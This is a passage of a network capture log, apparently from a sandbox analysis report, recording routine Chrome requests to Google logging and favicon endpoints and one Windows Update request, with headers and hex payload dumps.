5	192.168.2.4	49783	142.250.185.206	443	8060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:34:40 UTC	549	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Origin: https://accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-04 18:34:41 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Thu, 04 Jul 2024 18:34:41 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49784	142.250.185.206	443	8060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:34:40 UTC	549	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Origin: https://accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-04 18:34:41 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Thu, 04 Jul 2024 18:34:41 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49788	142.250.185.206	443	8060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:34:41 UTC	1132	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 522 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-04 18:34:41 UTC	522	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 32 32 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 30 31 31 38 30 37 38 39 35 35 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"22",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1720118078955",null,null,null
2024-07-04 18:34:42 UTC	925	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=515=WkjsrFC_4KNihB6e9na6_wFd5X4oQ0XUlTYJ41MH5HWIHG6Z2mwjuAiPIR1xHHriYXGk3G0tuar6wGvcpV2wzporovaXmXXJgDXrMv68-51QevWk14yknQSBIHS6tYgLLMw_dycyxJkkuvRgBp_pfTxu6oWmu296kG5SSWBl8WA; expires=Fri, 03-Jan-2025 18:34:41 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Thu, 04 Jul 2024 18:34:41 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Thu, 04 Jul 2024 18:34:41 GMT Connection: close Transfer-Encoding: chunked
2024-07-04 18:34:42 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-07-04 18:34:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49761	142.250.186.164	443	8060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:34:41 UTC	1025	OUT	GET /favicon.ico HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-04 18:34:42 UTC	706	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 5430 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 04 Jul 2024 14:54:00 GMT Expires: Fri, 12 Jul 2024 14:54:00 GMT Cache-Control: public, max-age=691200 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT Content-Type: image/x-icon Vary: Accept-Encoding Age: 13242 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-07-04 18:34:42 UTC	684	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 30 fd fd fd 96 fd fd fd d8 fd fd fd f9 fd fd fd f9 fd fd fd d7 fd fd fd 94 fe fe fe 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd 99 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 95 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd c1 ff ff ff ff fa fd f9 ff b4 d9 a7 ff 76 ba 5d ff 58 ab 3a ff 58 aa 3a ff 72 b8 59 ff ac d5 9d ff f8 fb f6 ff ff Data Ascii: h& ( 0.v]X:X:rY
2024-07-04 18:34:42 UTC	1390	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d8 fd fd fd 99 ff ff ff ff 92 cf fb ff 37 52 ec ff 38 46 ea ff d0 d4 fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 96 fe fe fe 32 ff ff ff ff f9 f9 fe ff 56 62 ed ff 35 43 ea ff 3b 49 eb ff 95 9c f4 ff cf d2 fa ff d1 d4 fa ff 96 9d f4 ff 52 5e ed ff e1 e3 fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 30 00 00 00 00 fd fd fd 9d ff ff ff ff e8 ea fd ff 58 63 ee ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 6c 76 f0 ff ff ff ff ff ff ff ff ff fd fd fd 98 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd c3 ff ff ff ff f9 f9 fe ff a5 ac f6 ff 5d 69 ee ff 3c Data Ascii: 7R8F2Vb5C;IR^0Xc5C5C5C5C5C5Clv]i<
2024-07-04 18:34:42 UTC	1390	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d0 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fd fd fd 8b ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b1 d8 a3 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 60 a5 35 ff ca 8e 3e ff f9 c1 9f ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 87 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 25 fd fd fd fb ff ff ff ff ff ff ff ff ff ff ff ff c2 e0 b7 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 6e b6 54 ff 9f ce 8d ff b7 da aa ff b8 db ab ff a5 d2 95 ff 7b bc 64 ff 54 a8 35 ff 53 a8 34 ff 77 a0 37 ff e3 89 41 ff f4 85 42 ff f4 85 42 Data Ascii: S4S4S4S4S4S4S4S4S4S4S4S4S4S4`5>%S4S4S4S4S4S4nT{dT5S4w7ABB
2024-07-04 18:34:42 UTC	1390	IN	Data Raw: 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff fb d5 bf ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd ea fd fd fd cb ff ff ff ff ff ff ff ff ff ff ff ff 46 cd fc ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 21 ae f9 ff fb fb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd c8 fd fd fd 9c ff ff ff ff ff ff ff ff ff ff ff ff 86 df fd ff 05 bc fb ff 05 bc fb ff 15 93 f5 ff 34 49 eb ff b3 b8 f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: BBBBBBBF!4I
2024-07-04 18:34:42 UTC	576	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d2 fe fe fe 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd 8d fd fd fd fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd fb fd fd fd 8b fe fe fe 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 27 fd fd fd 9f fd fd fd f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: $'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49790	142.250.185.206	443	8060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:34:42 UTC	1132	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 510 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-04 18:34:42 UTC	510	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 32 32 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 30 31 31 38 30 37 39 30 32 39 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"22",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1720118079029",null,null,null
2024-07-04 18:34:42 UTC	925	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=515=Whju6aXWgjHYnSxJ04rdSiybT2NZoWqAE5TQ0LM9frG_jWuC5Nc6DppGnndH7jV03e760ot19M8kmKfNcc2SQts4iupIA608jzuwgcRiSfnxQOTfONwFcnv4M9Iee4u3-ENwcBDG43jKmpAdaPH8eGSj9UMJKLk-sCFYG-EcUcc; expires=Fri, 03-Jan-2025 18:34:42 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Thu, 04 Jul 2024 18:34:42 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Thu, 04 Jul 2024 18:34:42 GMT Connection: close Transfer-Encoding: chunked
2024-07-04 18:34:42 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-07-04 18:34:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49803	142.250.185.206	443	8060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:34:48 UTC	1298	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 933 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: text/plain;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=515=Whju6aXWgjHYnSxJ04rdSiybT2NZoWqAE5TQ0LM9frG_jWuC5Nc6DppGnndH7jV03e760ot19M8kmKfNcc2SQts4iupIA608jzuwgcRiSfnxQOTfONwFcnv4M9Iee4u3-ENwcBDG43jKmpAdaPH8eGSj9UMJKLk-sCFYG-EcUcc
2024-07-04 18:34:48 UTC	933	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 35 35 38 2c 5b 5b 22 31 37 32 30 31 31 38 30 37 36 30 30 30 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0,0,0]]],558,[["1720118076000",null,null,null,
2024-07-04 18:34:49 UTC	925	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=515=BU-HRgopOXdhPfp9hI6eDc4Ez09zIEg45IW6l9b5oPZE2ydxPXJ7EcI7YDDcjJqCFOAd23INOVkOFTrzQGkzpd9vfKYlxqKxYOfDCDet5r2Ztb3Ts_1Uw-ilgw-ZU3G9K9KO9j-XJF_7tHg-rnEAOlT1LmNEucPtqnbM1opbqFE; expires=Fri, 03-Jan-2025 18:34:49 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Thu, 04 Jul 2024 18:34:49 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Thu, 04 Jul 2024 18:34:49 GMT Connection: close Transfer-Encoding: chunked
2024-07-04 18:34:49 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-07-04 18:34:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49808	13.85.23.86	443

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:34:52 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=GyvREMzpSNTdcCH&MD=aG4zFxvE HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-07-04 18:34:53 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 4eb21570-2624-4e85-8b99-d0b3624be135 MS-RequestId: 8b4b7dd9-6ae0-4c3a-bc8a-22c1131cd5b9 MS-CV: LaiRGIHR+kaGEbVw.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 04 Jul 2024 18:34:52 GMT Connection: close Content-Length: 30005
